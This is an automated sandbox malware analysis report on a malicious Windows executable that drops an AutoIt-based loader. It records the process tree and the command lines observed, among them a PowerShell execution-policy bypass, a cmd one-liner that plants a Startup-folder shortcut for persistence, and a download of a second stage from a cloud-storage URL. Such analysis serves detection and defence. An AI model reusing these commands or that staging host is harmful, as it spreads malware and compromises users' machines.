Edit tour

Windows Analysis Report
T6l6gPxwQU.exe

Overview

General Information

Sample name:	T6l6gPxwQU.exe renamed because original name is a hash value
Original sample name:	fca042b18adf613d9a2be1646663698f.exe
Analysis ID:	1528376
MD5:	fca042b18adf613d9a2be1646663698f
SHA1:	a7c91cd17ceeb8b1d0ac9873723f2b35487ca50c
SHA256:	3e358ac78679758f3720dd60d4e5fdff8323f2de436add34238d39c9bf969460
Tags:	64exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Bypasses PowerShell execution policy

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Machine Learning detection for sample

Sigma detected: Execution from Suspicious Folder

Sigma detected: Execution of Powershell Script in Public Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

T6l6gPxwQU.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\T6l6gPxwQU.exe" MD5: FCA042B18ADF613D9A2BE1646663698F)

powershell.exe (PID: 7364 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InformationCheck.exe (PID: 7604 cmdline: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cmd.exe (PID: 7660 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7904 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SwiftWrite.pif (PID: 8028 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: C56B5F0201A3B3DE53E561FE76912BFD)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , CommandLine: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\InformationCheck.exe, NewProcessName: C:\Users\Public\InformationCheck.exe, OriginalFileName: C:\Users\Public\InformationCheck.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7364, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , ProcessId: 7604, ProcessName: InformationCheck.exe

Sigma detected: Execution of Powershell Script in Public Folder

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\T6l6gPxwQU.exe", ParentImage: C:\Users\user\Desktop\T6l6gPxwQU.exe, ParentProcessId: 7348, ParentProcessName: T6l6gPxwQU.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3 , ParentImage: C:\Users\Public\InformationCheck.exe, ParentProcessId: 7604, ParentProcessName: InformationCheck.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 7660, ProcessName: cmd.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\T6l6gPxwQU.exe", ParentImage: C:\Users\user\Desktop\T6l6gPxwQU.exe, ParentProcessId: 7348, ParentProcessName: T6l6gPxwQU.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 7904, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7364, TargetFilename: C:\Users\Public\Details.au3

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\T6l6gPxwQU.exe", ParentImage: C:\Users\user\Desktop\T6l6gPxwQU.exe, ParentProcessId: 7348, ParentProcessName: T6l6gPxwQU.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 8028, ProcessName: SwiftWrite.pif

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 7904, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\T6l6gPxwQU.exe", ParentImage: C:\Users\user\Desktop\T6l6gPxwQU.exe, ParentProcessId: 7348, ParentProcessName: T6l6gPxwQU.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1", ProcessId: 7364, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 7660, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: T6l6gPxwQU.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for sample

Source: T6l6gPxwQU.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 83.140.241.4:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: T6l6gPxwQU.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6BB19BC70
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF6BB1A72A8
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A71F4 FindFirstFileW,FindClose,	0_2_00007FF6BB1A71F4
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6BB19B7C0
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB162F50 FindFirstFileExW,	0_2_00007FF6BB162F50
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1AA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF6BB1AA4F8
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1AA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF6BB1AA350
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1A6428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF6BB1A6428
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB1AA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF6BB1AA874
Source: C:\Users\user\Desktop\T6l6gPxwQU.exe	Code function: 0_2_00007FF6BB19C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF6BB19C7C0
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00594005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00594005
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059494A GetFileAttributesW,FindFirstFileW,FindClose,	3_2_0059494A
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_0059C2FF
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059CD14 FindFirstFileW,FindClose,	3_2_0059CD14
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_0059CD9F
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_0059F5D8
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_0059F735
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_0059FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_0059FA36
Source: C:\Users\Public\InformationCheck.exe	Code function: 3_2_00593CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00593CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00904005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00904005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_0090494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0090C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_0090CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090CD14 FindFirstFileW,FindClose,	10_2_0090CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0090F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0090F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_0090FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0090FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 10_2_00903CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00903CE2

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /v1/ws2/:stream2/:small/small.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: my.cloudme.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\T6l6gPxwQU.exe

Code function: 0_2_00007FF6BB1AE968 InternetQueryDataAvailable,InternetReadFile,

0_2_00007FF6BB1AE968

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: my.cloudme.com
Source: global traffic	DNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs

Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000001.00000002.1768096648.000002BB015FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://my.cloudme.com
Source: powershell.exe, 00000001.00000002.1768096648.000002BB018FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000001.00000002.1768096648.000002BB018A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1768096648.000002BB00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000001.00000002.1768096648.000002BB01667000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000001.00000002.1768096648.000002BB018A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: T6l6gPxwQU.exe, 00000000.00000003.1683618137.00000202FF80E000.00000004.00000020.00020000.00000000.sdmp, T6l6gPxwQU.exe, 00000000.00000003.1690464925.00000202FF734000.00000004.00000020.00020000.00000000.sdmp, InformationCheck.exe, 00000003.00000003.1794342033.0000000005BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000001.00000002.1768096648.000002BB00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1768096648.000002BB018A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1768096648.000002BB0117C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1768096648.000002BB01365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.cloHJ
Source: powershell.exe, 00000001.00000002.1768096648.000002BB00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1768096648.000002BB01365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.cloudme.com
Source: powershell.exe, 00000001.00000002.1768096648.000002BB00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1768096648.000002BB01365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://my.cloudme.com/v1/ws2/:stream2/:small/small.txt
Source: powershell.exe, 00000001.00000002.1768096648.000002BB018FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1790559122.000002BB10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1768096648.000002BB01667000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.1768096648.000002BB01667000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
